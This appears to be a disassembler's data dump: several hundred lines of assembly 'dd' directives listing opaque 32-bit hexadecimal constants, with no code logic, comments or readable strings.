dd 0BD9F002Fh, 3AB04226h, 0AC6EBE3Ah, 0EE1636EBh, 0F741D9BDh
dd 29E5936Bh, 0CF0EE9E0h, 0BD4051B6h, 20257E6h, 7E5C12Bh
dd 53D7C4E9h, 58F0AD9Ch, 3C126F78h, 1EC54FE9h, 0B9519200h
dd 5AFC7343h, 501FB47Eh, 5C6DA54h, 59659425h, 72CE0BC5h
dd 251FB45Fh, 4D56C7E9h, 73F76678h, 0E98732D9h, 0D119D50Ch
dd 0BBF853FDh, 3E5B7FAFh, 0E396D931h, 57C9BBB5h, 0B0E3863Fh
dd 0D86B3213h, 66C96507h, 5D064BA2h, 74407362h, 0EB261B41h
dd 0D6006C35h, 29AB63CEh, 203390DFh, 681894DBh, 74B55E0Fh
dd 81D59C17h, 9043658h, 7E12A29h, 535F0801h, 1778A36Eh
dd 21B69C3Ah, 0A30F4F17h, 0F08E2A76h, 0E583514Ah, 0ED650293h
dd 1410E5Ah, 82383AE1h, 48C8C917h, 1045642h, 0CFABE8ACh
dd 80890229h, 78432DCBh, 17F1A0F5h, 5A5CC1CCh, 225DE821h
dd 75D43188h, 0E86AAD68h, 54BACF54h, 0AA00DEDCh, 0E9378C5Dh
dd 1AB769ECh, 607F104Ah, 25090FFBh, 0B6D750F3h, 2D939866h
dd 0BB51C1AEh, 94D1420Eh, 323801C3h, 55E96FDFh, 0F66B0A25h
dd 9634CC34h, 0AA18177Ch, 7885B037h, 0B10B0FD3h, 821859D6h
dd 617D34A3h, 49BDD17Fh, 844F67A2h, 15E3A440h, 73BF6C12h
dd 0ACB38701h, 22F97AAh, 44268EBh, 0FF5E2CA5h, 9C9B48B4h
dd 7685253Ah, 7E20ABF2h, 307EFC1h, 3CECBE56h, 0E8F11E3Fh
dd 0D1F5C220h, 0FD72D0h, 0C18001E3h, 94F8B083h, 0F9B0002Ah
dd 0C3885351h, 0E249D8F6h, 4C5D4831h, 2FE53B29h, 9F06558h
dd 157AEA88h, 8B59CF1Eh, 0A4047E5h, 0AFF63B2Bh, 0EDCAB3E3h
dd 527F8F70h, 9898BA20h, 7CE609B9h, 46573CCBh, 5E73B734h
dd 0C2F2DEA7h, 1677C8CDh, 9702EACFh, 5EB0C8ECh, 5BBCD4Ch
dd 17F1E92Bh, 0AD0461EEh, 0FF2C1214h, 0FC490A71h, 0D7DB136Fh
dd 0E816E2B0h, 45CA0440h, 31467D18h, 6369E9B9h, 0D6F628FDh
dd 595B0479h, 0BFB51585h, 0CDF806A7h, 0C654A0FCh, 0DE0EC582h
dd 0C1309210h, 127436CDh, 1F5D660h, 0FC986395h, 0CAE9EA89h
dd 0C188A048h, 9AD1C0ABh, 10467A23h, 0BF52A31Bh, 48C96CBCh
dd 0DAFB7E6Eh, 4F7E60F2h, 0AB9B588h, 0FEBDF580h, 0BED16A7h
dd 0E3F07A2Ch, 1212B0F6h, 0C70979B9h, 4B3887F3h, 40D2EE25h
dd 77C07556h, 0F20A2A7Fh, 6355825h, 69565127h, 0F997CC70h
dd 3C7D69BFh, 3C250097h, 2D3A5639h, 967721C0h, 7453E925h
dd 0E97C2D2Ch, 0B319B62h, 0BB92DB04h, 92023F29h, 0B2520147h
dd 0CBA5E0B8h, 9CC06880h, 3EB66063h, 40EDEE80h, 0E2E92993h
dd 24A5485Fh, 2B26C03Fh, 237E245Eh, 0A09B7920h, 7A3780D7h
dd 0A985B77Ah, 56CF801h, 5A7B2E73h, 55914A82h, 0E49349D9h
dd 45290DE4h, 0A672444h, 5C3A133Eh, 0EB804A99h, 1901A2BAh
dd 0ABF15D1h, 19E2D6D5h, 8F2F1DDh, 0EF60B951h, 98A0563Ah
dd 0F24B2EA4h, 56CF9788h, 8E61C8A9h, 0CD320C4Eh, 759ECA5Ch
dd 3AF809F9h, 0E3769DF1h, 85FD9DEDh, 0EEDDB448h, 0CC694ECFh
dd 0C491C00h, 37EB92E5h, 62FDF2E6h, 0A690D70Bh, 6EF8CF29h
dd 0B417A69Ch, 0B2C4CD01h, 0CF70D4F6h, 25E9EEFEh, 1A7D8E56h
dd 1CE257A9h, 52087457h, 34098AC4h, 0C2077E2Eh, 3E09D7C5h
dd 0B5B20557h, 1BEC9FD5h, 113DAE97h, 0E90B7836h, 0F87AAD02h
dd 0BA40144Bh, 0B64CD9EDh, 4ABFB830h, 0A7F2C103h, 0C05DF679h
dd 2566D6DDh, 0CA5D0B24h, 9941DD85h, 5E90C0F3h, 98887794h
dd 89AD1DAAh, 377CB622h, 92FE87E3h, 619DE3EFh, 2B681008h
dd 40C52309h, 431FA3E8h, 9E822675h, 0D77A315Eh, 2B180702h
dd 0EBC98000h, 40D158F6h, 0CA30960Ah, 0C2C7EF7Eh, 82F7E9DFh
dd 0ED4A890h, 0A68136A6h, 0ABB8C7B5h, 87543B29h, 1233396Ch
dd 0A646889h, 0A0825BD1h, 0F637B00Eh, 50D98241h, 0FA8933B5h
dd 68419571h, 522C6CBBh, 215B8C0h, 0E97D7226h, 80F7819Dh
dd 0E2F44EAh, 7B8E55C3h, 3DDDD00Eh, 7AF2F578h, 0CA512E5Fh
dd 5EF8A5Dh, 0BCCAAEh, 0CDAEE408h, 0C848FEE9h, 66D0D3A6h
dd 327982BDh, 5FF4061Eh, 3125E040h, 0B208C90h, 62D69F47h
dd 35CC7D5Ah, 18B9EA4Fh, 38A10C61h, 169E97AEh, 0BC4A46FCh
dd 0C6D0B428h, 98BC2813h, 54252042h, 0C75C5E61h, 46E57E2Dh
dd 0CFC847F4h, 0BFA2F547h, 2F584BDh, 0FDFA3109h, 124CC471h
dd 16687551h, 0A3165D08h, 0F74909BBh, 9894C0D9h, 410E2F59h
dd 621F6A60h, 0E91C6B7Dh, 572D44B7h, 0D32550AFh, 533BD395h
dd 3B91C7B9h, 0BB00B2A3h, 0F581DE4h, 0BD7E6B8h, 0B84F41BCh
dd 0EFE9833Dh, 9DC97A10h, 0A9D9FF4Bh, 21383549h, 532C6BABh
dd 25C6413Fh, 0C8DDCAE5h, 98895D3Ch, 4CD9B578h, 0A2B50C93h
dd 0C45BA03Bh, 0E930AC41h, 37ACB50Bh, 7BFE5E64h, 74BFEA9Ah
dd 13C4EB9Fh, 0C9BC6220h, 9258BD30h, 20F9555Ch, 0CCAEA0DFh
dd 8619D05Dh, 6F853F38h, 0BBDBF772h, 6F067986h, 3145BC07h
dd 0F359C041h, 0A26FF90h, 0B288C432h, 0CC4B3F97h, 0EBB851F8h
dd 9E03394Ah, 9BA6CB80h, 0EB061FF3h, 0E02093D9h, 2A09BF93h
dd 75430809h, 100629A7h, 0C40D02FAh, 54532F00h, 246C3C2Dh
dd 53BFBA4Ch, 0B800E39Ch, 5D8F6E59h, 0D173F791h, 9719D8B7h
dd 4C00AA7Ch, 0E908670Eh, 728E6026h, 0CF8047B7h, 2D5E0D7Ah
dd 0D70FDAF2h, 137C638h, 4A628ABAh, 0A39B702Ch, 1FB20116h
dd 36848F03h, 0C7AAF46Eh, 88E9F024h, 1A388048h, 1EBDB41h
dd 14B19E44h, 17F0698Dh, 5905DA9h, 0E7550E66h, 0E12A50EDh
dd 0FA7054CAh, 0A46B1E2Dh, 0C9674D68h, 550B682Ah, 3317566h
dd 37FB1BD6h, 0F440D406h, 0F2C25F01h, 63FAC4A1h, 7E25DC87h
dd 166E66A1h, 0B404FB1Dh, 0F3FBCE52h, 0E01292BCh, 0C802C1D9h
dd 519EE933h, 5A693020h, 820BBE4h, 4B502104h, 4FBEAC4Ah
dd 975CC3CCh, 1708C4D1h, 614225E7h, 32F17CC0h, 0C42BD30h
dd 48E32CCDh, 24043F05h, 901A5A71h, 0BDDE9D4h, 0D1897FC4h
dd 0CC8B19BBh, 444EF8F9h, 0F61C6E95h, 6CAC6009h, 0D3F68AB3h
dd 2FAD99A1h, 0CDFA2BDh, 0E2CDE05Bh, 775923EEh, 3C1E7A06h
dd 0DE8A75F1h, 0D192B6CDh, 400DA200h, 9D812F27h, 8D30A6F8h
dd 4C3EC225h, 0EA2D655Ch, 80BA5658h, 0EC22AB3Dh, 0F72C214Fh
dd 7899F73h, 201B6E77h, 280E7DB0h, 60FE58C6h, 0C0CEE680h
dd 51040EEEh, 121E11B1h
dd 0A2B80B59h, 0AC7F63DDh, 7D4B2087h, 0F880C2CBh, 0EBE4A12Ch
dd 0C4966FF6h, 44165C16h, 4A018FEEh, 1D60D58Eh, 0D3106768h
dd 9EF2194Dh, 0D90D50CCh, 34225FCCh, 6DE9AB2Dh, 8E5FF8F2h
dd 3B2D3E6h, 990BDE94h, 0C6021722h, 52078CB2h, 14A8A855h
dd 0EE1C294Ah, 0EDFE5E60h, 13BCAFB1h, 0B8F8C5B1h, 81B3EDA1h
dd 1FC0BF26h, 316E3A61h, 10C55A15h, 263768C9h, 4021918h
dd 8063C896h, 6EF0EDA1h, 5CBD10FEh, 48082066h, 68B0D059h
dd 55BB2B4Fh, 0CA624C02h, 5B0DF1Bh, 4403057Eh, 0DAE94B3Fh
dd 0F4334B08h, 6880C192h, 0E34F4B47h, 739205DAh, 12BE7DDFh
dd 0BEF52594h, 3586490Ch, 0FB8BF1CEh, 0F7468F9Ch, 5D04430Bh
dd 8E5C5803h, 2881A05Eh, 316A3C54h, 0D0E9D887h, 31750BA3h
dd 852E0F8Dh, 0D2D3F8BCh, 0E90C3DCAh, 0F07FFC8Dh, 27764C95h
dd 47AA737h, 8029C020h, 3E6702ACh, 0E95B6139h, 126D8582h
dd 25BFEC57h, 0B3E180D3h, 655C6215h, 6FC0771Eh, 78714568h
dd 2C3BC29h, 186C7CA9h, 5CE8C1h, 9D08EEC1h, 0D88C2DE0h
dd 709542E4h, 0A0F0D558h, 29AD5F32h, 7ACE0EE4h, 9AAF162Ah
dd 7E90C67h, 763D87D3h, 7235C4Bh, 16A20C19h, 0AFB06A59h
dd 0CDB2E4FDh, 0D8385618h, 0C262803Ah, 929F86E0h, 0D8E404ACh
dd 28D207C0h, 45902C8h, 0D4E3E9A8h, 0D1EB3DC9h, 0CF0E381h
dd 0F2B74C51h, 3BC3079Fh, 99387A5Dh, 0C43FBDAFh, 0C2715A6Ch
dd 0FD0B4262h, 7B68AF48h, 16F32D80h, 1D77F73Bh, 0A31E4C2h
dd 17F01719h, 5B1905C3h, 0A417BB58h, 0C6502EA3h, 8A4282E0h
dd 97BD55F4h, 0E38CE59Eh, 0F2535F5Fh, 0D4292FBAh, 55AA0982h
dd 0A257991Ah, 7771A7FFh, 16F81F94h, 0D63D0D48h, 0C5BE70EEh
dd 0C5FC763h, 9CB13F4h, 1535653Bh, 18530700h, 429037E0h
dd 0CDC530B5h, 71342E58h, 26AF021Fh, 82E00EE3h, 608251E5h
dd 3D082F42h, 1996159Ah, 4C33B33Ah, 4CFC4F3Eh, 2F786BC9h
dd 53D8B71Eh, 0DB408417h, 66031ABEh, 3D70BF62h, 4FEFD102h
dd 7F32A868h, 88BA5A98h, 5DB830C0h, 2C1C384Ah, 5A32C301h
dd 137A28D7h, 12D1D027h, 1D65773Ah, 71EB4F4h, 0A9B96808h
dd 388300F1h, 382A174Dh, 5758EFEAh, 55B0E9D4h, 410FBE56h
dd 0F7162D3Dh, 0CD870805h, 8DBC6h, 0A6685150h, 5914080Eh
dd 938A63EFh, 0FFDAF91Ah, 0C5C290F9h, 0EBCED73Bh, 0BFF4F6h
dd 5A84BDCBh, 6867090Dh, 8EB061EBh, 0CFA3045h, 43505A90h
dd 1B99A6D2h, 89C50916h, 9D7E13F8h, 0C181305Ah, 0F1446FE1h
dd 0C3F30F0Bh, 2559F41Ch, 3F0E657Dh, 285C5605h, 0BF7F8055h
dd 0F1287290h, 9249A438h, 0C48001F7h, 58E32845h, 849EE97Bh
dd 31EE5132h, 0D34A40h, 1259E181h, 8463DB36h, 0AAF1952h
dd 0D1870505h, 0BE008C54h, 49EF7E36h, 4C09F3B8h, 873B0315h
dd 77095B0Fh, 63F61E66h, 80459C5Bh, 45AFC271h, 3256B24Eh
dd 5D6052A3h, 394BC308h, 0A12F8A29h, 0CF084FDh, 16BB7386h
dd 0AB71FEE3h, 247BC6D5h, 0AD48365h, 35A880FBh, 0D8746D95h
dd 0FE9D2798h, 0C11AC25Dh, 232028F2h, 82B802FBh, 50166F06h
dd 36903750h, 0C84F7825h, 814A405h, 0EA2971E5h, 5D4A0820h
dd 4A40DAF1h, 5C8B3E9Ch, 875EF821h, 1C7CF9CFh, 82A52D58h
dd 43D220C0h, 0BB636C28h, 0C9070C94h, 0DC446BEh, 0C8031883h
dd 76376DF1h, 97829D4Ch, 8F61C789h, 102F72FEh, 0B8001968h
dd 0ADC21AF4h, 8C91C531h, 0FD919AC2h, 98E302F1h, 0BA1C4E78h
dd 6B45C528h, 1F0A1395h, 9FEB1CDCh, 0A02E49DFh, 15DC7B2Bh
dd 11825F25h, 9AC15559h, 2A04257Ch, 79FEBE84h, 0BCAD3B75h
dd 0AD50AFD0h, 5E189557h, 569C3436h, 5E3CEC8Bh, 0E008402Fh
dd 0B16C843h, 13E84C29h, 590B0CD0h, 0F4794401h, 0DF487AAFh
dd 4049022Bh, 3432B96h, 3D9344E2h, 5D07A0F4h, 0B1FFC7AAh
dd 126B436Ah, 1003B6D5h, 0AAD3C5ABh, 0AC104C8Ah, 0D8F704CDh
dd 0C2FBE8C1h, 1ECC4E28h, 646B6A02h, 40F5813Fh, 61070AECh
dd 0B230E4Dh, 0E9B8C338h, 0AFB590B7h, 0F4F2C09Eh, 90453977h
dd 0DEF097ABh, 20C0865h, 5484C300h, 0BD01C4E0h, 6F534531h
dd 5DCB63A2h, 4C9D4358h, 0F208BCD5h, 0D7EC4A55h, 5B4DA73Eh
dd 545D2F28h, 0F876EB2Ch, 0B92F1D58h, 875209EEh, 41C2325Fh
dd 0F3785EC0h, 2A8C60D9h, 0AE813531h, 1585B945h, 80E0D4BAh
dd 3B6DC523h, 0A48F44EBh, 382DE9BBh, 0FEDE2EF9h, 0D7B0F809h
dd 0DAFD536Ah, 0D61922EBh, 9D412090h, 406EB13Eh, 7F7AC414h
dd 0F74D5401h, 6AF068D5h, 552DFD33h, 224FD0C3h, 75B7FEE8h
dd 2FB8A744h, 583BFE5Bh, 9FD2C578h, 0FB03CFFCh, 4E47C62Eh
dd 2E96AEF1h, 6A5DB841h, 0C7EC0613h, 0C87ABB4h, 0C3764986h
dd 0AB412874h, 3B01437Ch, 1167146h, 0BEF130DAh, 42710495h
dd 25BC3586h, 87D83D72h, 0AFB14B30h, 483C8DCFh, 0EF025D78h
dd 8429A587h, 4A5F61DFh, 1367CAE8h, 0FA655503h, 53BF60D0h
dd 11D23029h, 0A26C9C40h, 3EB42560h, 0FE1C651Ah, 0FBE915D7h
dd 0F730F907h, 2C1E4F5Eh, 0B7C7AEC0h, 120E0F27h, 0EED47AE9h
dd 92E7CD89h, 0FD7568C2h, 0F13E249Eh, 21510F5h, 0B3536D2Ch
dd 880CF7A1h, 0A5417C30h, 4DAD6630h, 5084094Fh, 7931FAFAh
dd 0BB664BF9h, 402E7112h, 2D04E004h, 0E709F0BCh, 5C20187h
dd 0EB2932FDh, 6C34A57Dh, 35920513h, 4AFD832Dh, 28173420h
dd 0FF05B59h, 26A31FDCh, 24CFB8A5h, 0E45AFC75h, 0A6C02CFBh
dd 39995512h, 0DA2540Dh, 2895EA40h, 29492D77h, 27085088h
dd 5B5A4E78h, 0BED2F6A3h, 8ABB3035h, 29FE5EA6h, 4FD63857h
dd 21D328AAh, 3009D7BAh, 0C805BFDh, 0F3CB066Fh, 9EA30A6Ah
dd 170DA689h, 1AF3F375h, 55108291h, 2D4E4E1Eh, 58C3D834h
dd 9DBDA41Bh, 0BC524784h, 546DC456h, 0DACAFBh, 5053525Bh
dd 21468h, 0D586766h, 576D0E3Eh, 12C3ACA0h, 0E905AC04h
dd 0A0A94B1Eh, 6985DB02h, 7C7E2170h, 80B33B1Eh, 1B1CDB68h
dd 0C781DCD7h, 296AB4F0h, 450C0860h, 805B2E67h, 2305936Ch
dd 9920E9DDh, 13CFA3BFh, 0C8ABAA3Ch, 2167D2C3h, 18B1BD5Ah
dd 1E604B60h, 5F12587Eh, 99A009DEh, 9A09D6DAh, 56FB9BECh
dd 30044D47h, 100332F8h, 87E94012h, 3C4125B3h, 590653E0h
dd 654F19B1h, 34F49DF5h, 5E351292h, 6350010Bh, 316C694Eh
dd 0CE7D6099h, 194ADE0Ch, 0BF66D31h, 40C2A006h, 2631CBFFh
dd 4ECE98EEh, 0E3FE09BEh, 23465DFh, 359660D6h, 0E912275Ah
dd 7DF3BF79h, 585315Dh, 0DCE2F88Eh, 522887D0h, 1D390FF2h
dd 72855E2Ch, 0B499AC14h, 0C275EDAAh, 0C88FF3E9h, 9081D1CFh
dd 43C72836h, 9E30279Eh, 0CBF9BBFFh, 0CB4D03C9h, 52CA544Fh
dd 0F3315804h, 84EA6403h, 7CB99144h, 0F23A2F24h, 0CA770869h
dd 4B8CF04Ch, 2743A704h, 111056Bh, 176B42EBh, 0C18E7E1Dh
dd 7AA401D2h, 7B7C5368h, 1D8754A4h, 0BC34E542h, 0C215D686h
dd 3C0C1805h, 0D4832A4Dh, 6873958Ch, 6F09569Fh, 792776CAh
dd 2E163A28h, 21001EBh, 7F29E680h, 0AF40C7A2h, 7EFEF0B3h
dd 0BCC32CCBh, 6EF2226h, 0CC60320Dh, 2524664Dh, 7B8BAF8Ah
dd 62BDFC49h, 185758C1h, 0EFDB221h, 0C04CE280h, 0EAD00562h
dd 0F2F6E15Fh, 9375C88Bh, 0DFA2190h, 89094913h, 34EC8A12h
dd 0C61EBBD3h, 202BE640h, 135210ACh, 0D08433E9h, 0CB4FF164h
dd 0F220717Bh, 472924A9h, 2A806297h, 0EDCA7D09h, 0C4207B44h
dd 933BA005h, 756C3D43h
dd 27A16390h, 5B59DC5Ah, 0A3A0D882h, 4AF6808Eh, 0ECF1709Fh
dd 2C1207EBh, 0D953E9A3h, 66240FD2h, 8AC2832Eh, 0BB5C050Ch
dd 0EC2ABD6Dh, 726CC60Dh, 0E3F8A0D8h, 1D02F85h, 312D0FD8h
dd 0CE55E1C5h, 5928686Ch, 47FF0F8Ah, 2A841D15h, 980500C6h
dd 9478C84Bh, 0ABA43E90h, 0FC60A5F4h, 0FD823414h, 0E120B358h
dd 0E5D128E8h, 96A455FCh, 0DCE83Ah, 8F2C91CFh, 174F4732h
dd 428B2EE9h, 7C196875h, 0F382BD51h, 6643F565h, 5D8784CEh
dd 0B05B9C5Ch, 694A3FF4h, 97F72DD8h, 0CB5A0D85h, 0C6E95FE9h
dd 6EE911D8h, 0B19D365Eh, 0A254EFEDh, 0E50681AAh, 0F0412EDFh
dd 1AD5C685h, 9F28E8F5h, 0D261071Fh, 0DC2DA467h, 0A54CB751h
dd 0E27FF486h, 0BD70CE9h, 1B9ED5E4h, 9F54C3FEh, 76EEFAB7h
dd 4831F459h, 0C7741DCBh, 0DAFBE968h, 0D08028DCh, 5B18932Dh
dd 95159813h, 0E90587F6h, 348D174Ch, 80D2252Fh, 0FA18CAF0h
dd 0F2816B0Eh, 7541C0A0h, 24FBB850h, 16702709h, 134CADA3h
dd 0C3B36672h, 23F4BF00h, 0F0BD227Fh, 22310BCBh, 0F62F61ABh
dd 7E857A0Bh, 905DAB23h, 6613BA69h, 0CBD347AEh, 68517159h
dd 348C2E1Bh, 0E51049E9h, 4B64E64Ah, 4FEF6EE4h, 0DF6CBE70h
dd 0A117D3BEh, 3E125078h, 0B0BF79A7h, 0B5DB10D7h, 0ED81D45Ch
dd 4FD42C8Fh, 7431CDD9h, 88EC043Ah, 0F9BE0082h, 0B166A21Bh
dd 92762FD5h, 9174EE84h, 81EE68C5h, 2B1A7BDh, 0B222C0F6h
dd 29588006h, 87BF3097h, 0C8FE9514h, 98649C2h, 163DA0D9h
dd 7F206DB0h, 7BCC6ED6h, 0E19F2709h, 52BBD790h, 0AFDA0C3Eh
dd 521D7021h, 330F0FF9h, 49DFCF15h, 0E477A2F6h, 20972413h
dd 0AE3C44F3h, 2F082FC7h, 47B78CCCh, 0FF303199h, 38EA2AC2h
dd 1E540F32h, 0C20968C5h, 0F10BDA77h, 0EEC14135h, 971F7102h
dd 9CAA5BD5h, 9BAC5922h, 0E898E913h, 0E8158DABh, 0AD9B2A19h
dd 0A4C1AC13h, 8D7BEF68h, 0AFE66F50h, 71E9DE04h, 2464A436h
dd 5873741Eh, 4C8C5EC9h, 141B385Ch, 4734FF4Fh, 803DD4EBh
dd 7B1CE6B3h, 10AF104Eh, 0C670895h, 72B0D056h, 59B575Eh
dd 17D4988h, 760E7BBBh, 0E5AC6A29h, 0E9FF5B30h, 0DEEDDAA8h
dd 7A44D157h, 8540CE02h, 0A7BCE4F1h, 4E4D5015h, 0E1DEB854h
dd 42022065h, 28FCE61h, 280F429h, 7A659F2h, 0E077DD42h
dd 826F2852h, 50FB8257h, 0E781008Eh, 3B257708h, 0B9E1FE60h
dd 4FB433A8h, 10BEACB1h, 0F4C8848h, 7F298018h, 43C07382h
dd 5D1B7CEFh, 7C6A971Eh, 57580802h, 5002CC57h, 9DF4FF5Fh
dd 0C77DEE09h, 0A5E96279h, 801D70DCh, 590EF197h, 7CC1C6E1h
dd 410FA012h, 827A940Eh, 60B16ABBh, 241BF760h, 21672126h
dd 0A001326h, 0E945FA19h, 0BC7C5747h, 4461163Eh, 3C595A66h
dd 23AB3C1h, 9EE050Dh, 0F96A10ABh, 0ECA1070Eh, 87631536h
dd 7A52E9F7h, 0F2B4F50Bh, 8A87E912h, 4AB7B4C8h, 0F1E8BBh
dd 0F2B35351h, 171AE380h, 57B439E9h, 788F971h, 86B06185h
dd 0BCAE2FE4h, 2A8F4F5Eh, 68E0014Ch, 96912F08h, 3B0990A0h
dd 7859316Ah, 0F7810317h, 38D43F70h, 37957204h, 5C816EC6h
dd 0C2049DD9h, 0E8774B24h, 0AB704487h, 0FDE2C267h, 98F77248h
dd 424F1313h, 5901CDECh, 1213B14h, 86F700D7h, 99072F88h
dd 90027D0Bh, 5E048077h, 0A2EE86AAh, 6746031Fh, 0BC829C9h
dd 2D55C157h, 41EE6CC1h, 0F86CED61h, 4F1EFC4Fh, 415068B9h
dd 0A21C4AF7h, 0D80CDFE0h, 96D6D640h, 0EFBC27D3h, 26D166A0h
dd 0C05D209Dh, 0C204D73Ch, 7244170Ch, 87D23B60h, 0F42F5A81h
dd 792D2874h, 0E4325DD0h, 5585B17Dh, 0BC4E0837h, 24E389BFh
dd 39F95B50h, 0C51C4280h, 589D293Ch, 0F6A02ACFh, 2E7F98BAh
dd 3D2D3D0Bh, 0A6A4AD3Ah, 0C49C167Eh, 0EEE2AAD9h, 0D444AE92h
dd 68AB4379h, 8626E901h, 5AF77DCh, 944BC4CDh, 886FCEBh
dd 5D25A80Dh, 0A3B06B3Eh, 0D15B9BBAh, 0FE4E60ECh, 9F681361h
dd 0C071F82Fh, 462154D8h, 0E8E32DE9h, 0D4C24613h, 0BA3989DFh
dd 8968774Bh, 152E4EDFh, 0AE02B060h, 0F5820B3Eh, 3F698960h
dd 148CB3DDh, 0FAD87B0Ah, 37B963Eh, 880FA9BEh, 81E42215h
dd 0D6838498h, 550E40F3h, 255C9168h, 4D21967Fh, 0CBC42E5Dh
dd 24FE131Ch, 9985BFB1h, 0D968B6C0h, 322BDA4Ah, 0F3612B3Ah
dd 0B91889AAh, 283C402h, 281E12F1h, 0ABC0CD29h, 4E041A56h
dd 0A75BE91Fh, 4253F5BFh, 0F8D080A6h, 553969Eh, 0FE697CCEh
dd 0C5D4B262h, 38E8A237h, 27A1269Eh, 6F4E4656h, 2D4245D3h
dd 558529BDh, 0C521E834h, 6D540B22h, 7A5F04F7h, 5EF14484h
dd 0F5D1A9D2h, 52E828E0h, 0DF20B23Ah, 590E66A8h, 1D1FC304h
dd 0D1253B2Ch, 7E9571CCh, 13B1C30Ah, 8003FA7Dh, 0B450ADF1h
dd 1FF4B151h, 0A11DE4E4h, 32A52CECh, 0FFE9CEFEh, 0C7FF5409h
dd 31D1ADE3h, 906BA0BBh, 787709A2h, 870B3D91h, 0B0261345h
dd 67CD8516h, 407DE13Fh, 0E3448D57h, 0FD054805h, 583AA58h
dd 9D8EB9D8h, 0B6FA3F9h, 90DD55FFh, 13AE68B7h, 0AE7A6D15h
dd 0D1075002h, 7275C109h, 8EC18301h, 641BF196h, 84BA6A23h
dd 0D4C8A8F6h, 10DB001Ah, 0B3BE25CDh, 4D8F2D08h, 0F7898482h
dd 41743C42h, 0AF3D1B21h, 550522Ah, 9E72E368h, 92A05F77h
dd 5EC841Ch, 0C202B693h, 69DC7664h, 0D7B9EF62h, 53681C98h
dd 0DD3B53h, 0CEB4D9B5h, 0B52EA3E9h, 0C64AC914h, 0F7CC30EBh
dd 8C4968F9h, 8FE90B41h, 0A763F1F2h, 0B1028445h, 0C4C82870h
dd 0C3BC71E5h, 0EB295B32h, 4EC859C2h, 7D953433h, 6B20CE96h
dd 681DC26Ah, 0BE7922BBh, 5702EB20h, 0CF45DABFh, 0CAD1C025h
dd 5EAD2D6Dh, 0D6407B6Ah, 6182693Eh, 0FF10F5B4h, 61258724h
dd 5FE65DC3h, 4D9D6815h, 0F9F05E32h, 698A2466h, 1D6B10C0h
dd 0CBFCF329h, 0DAAF6416h, 0FE9161Ah, 0F9B6FBC0h, 32F07930h
dd 951267E1h, 65DA4A40h, 5632900h, 22C87E9Eh, 3F6C3A35h
dd 0F8255180h, 0E93CEE46h, 4B49B449h, 0F27EF7E8h, 2D2596FEh
dd 0FBD18554h, 800E2968h, 0C56BD7F5h, 59E8A680h, 452C685Bh
dd 0D7E95004h, 9BABDB30h, 0C93B7E9Fh, 40CF9AE9h, 0B6525EA7h
dd 0A90C946Eh, 9804F828h, 6E8B5967h, 28FEB12Dh, 0DFD08A09h
dd 10063206h, 0CC884512h, 71F40100h, 0B066DCF6h, 8A75ED0Ah
dd 7BB5F17Ah, 1857842Ch, 0E36A8D68h, 0D682F018h, 0FCE10EFCh
dd 6445C966h, 0CB253370h, 825ADC59h, 54515008h, 33946BCEh
dd 2902E9C2h, 0B41116F7h, 0BA22A71Ah, 59016E18h, 0E83FD3F7h
dd 61EAA42Ch, 0F002AB61h, 0DF25E972h, 0D0595E46h, 0D6C2BD2Bh
dd 81D78658h, 0F6D3888Dh, 0C3DAA3CBh, 0C6FFD55Bh, 0FD67065Dh
dd 0FAE7EF20h, 7C670BD9h, 0E92D5E19h, 0AAAE7D53h, 962574EBh
dd 9B30F52h, 5F0B970Eh, 32D2055h, 162EDB3Bh, 0A3F22CE9h
dd 7E660BC5h, 0F8B75E2h, 9A5D624Ah, 9E4561A6h, 17B11DFCh
dd 8B5D96E9h, 22164C3Ah, 7700B56Ch, 42A258F4h, 53F49590h
dd 500F3F25h, 1AE9161Fh, 308ABBDDh, 8EE95081h, 0DDF87AC1h
dd 0CC80EB81h, 303D21FAh, 84B08B54h, 0CBBAF34Ah, 7F91291h
dd 4D508ED0h, 81391DA1h, 523046F5h, 76179E62h, 8309C09Dh
dd 27027ED5h, 84FCDF14h, 0BB102760h, 7AB82E38h, 5F1356Ah
dd 932C215Fh, 0EBF624F7h, 0DBF6031Bh, 3726E104h, 1CF35B89h
dd 747585h, 55195FECh, 6C962978h, 4B930820h, 9F10116h
dd 19868E2Eh, 0C35BA372h, 4804A82Bh, 3F95FAEh, 169FED5Fh
dd 0A2FCFD7Fh, 4706FA1h
dd 3CE2F302h, 8B898041h, 9732C008h, 642DFEE0h, 2B920602h
dd 8905D029h, 89207107h, 147DE0D3h, 2A56D4DEh, 0F66B896h
dd 0C0D0BA52h, 0EA816C8Ah, 54D43B30h, 80B0E45Ah, 2A751990h
dd 6806AD0Bh, 2D3E8530h, 1168071Dh, 7A5E1DFCh, 58A0E830h
dd 0A4D6C435h, 5A62FBCDh, 0AC747C89h, 2D6C1033h, 25A55829h
dd 4E5FF605h, 72CB5965h, 8CDC282Ch, 5E100166h, 0D87829EAh
dd 32BD0512h, 6FC945B8h, 258D1B6Dh, 4A7A0A7Eh, 828DC4E0h
dd 0F968D3B3h, 9CA579D5h, 58E309F3h, 4FE96C30h, 43F4434Bh
dd 75ADBAFFh, 0B3FB4B68h, 2AC441C1h, 311788CFh, 30C8209Ah
dd 6748EA50h, 0ED50A8Fh, 243EFAA1h, 3700135Dh, 0E9932D44h
dd 0EA9DD798h, 8A7E3CD1h, 4FC24795h, 93A89618h, 0ED9C1C99h
dd 0CFFED060h, 0B9A25E9h, 6C64E4E9h, 0DEC12603h, 89C5273Fh
dd 403C75FEh, 0BF82EE4Bh, 0C6297FBFh, 6C02EB7Ah, 292DF81Fh
dd 0B92087Ch, 6DE83187h, 0B5C0B8DFh, 17054AE5h, 213B816h
dd 3E1F302Dh, 6E57F531h, 4F72BD08h, 72BD0990h, 8F88815Bh
dd 89B29F79h, 912593A2h, 0BB9C5F04h, 25429F4Eh, 0E97070D6h
dd 61776036h, 0A42FD0C5h, 904B617Bh, 0C8014AC0h, 7DF4122Dh
dd 93ED1CD1h, 0ABDABEB9h, 7310CF4Ch, 7CF84AAEh, 54AB1517h
dd 725122Fh, 0D8494756h, 0E7D99536h, 640EE9C2h, 0EBF20222h
dd 2D1ED2CCh, 0A0B1AE77h, 2105521Fh, 0FED04801h, 24200845h
dd 0D7352FE9h, 0E540A791h, 0A9D22B1Fh, 0B977F14h, 5B6AD83Fh
dd 13E675BEh, 133EF968h, 7DF0B5E9h, 9C7B5C2Ch, 315E244Ch
dd 0EE6858B3h, 71C29BF4h, 80FF0984h, 0D22B3E3h, 510BBD5Ch
dd 3A3BE27Ch, 0ED7515F9h, 3C0B4C83h, 1201354h, 84008A8h
dd 0A22C4F8Bh, 407A9ACAh, 2C2254CEh, 3CD3351h, 31A801E2h
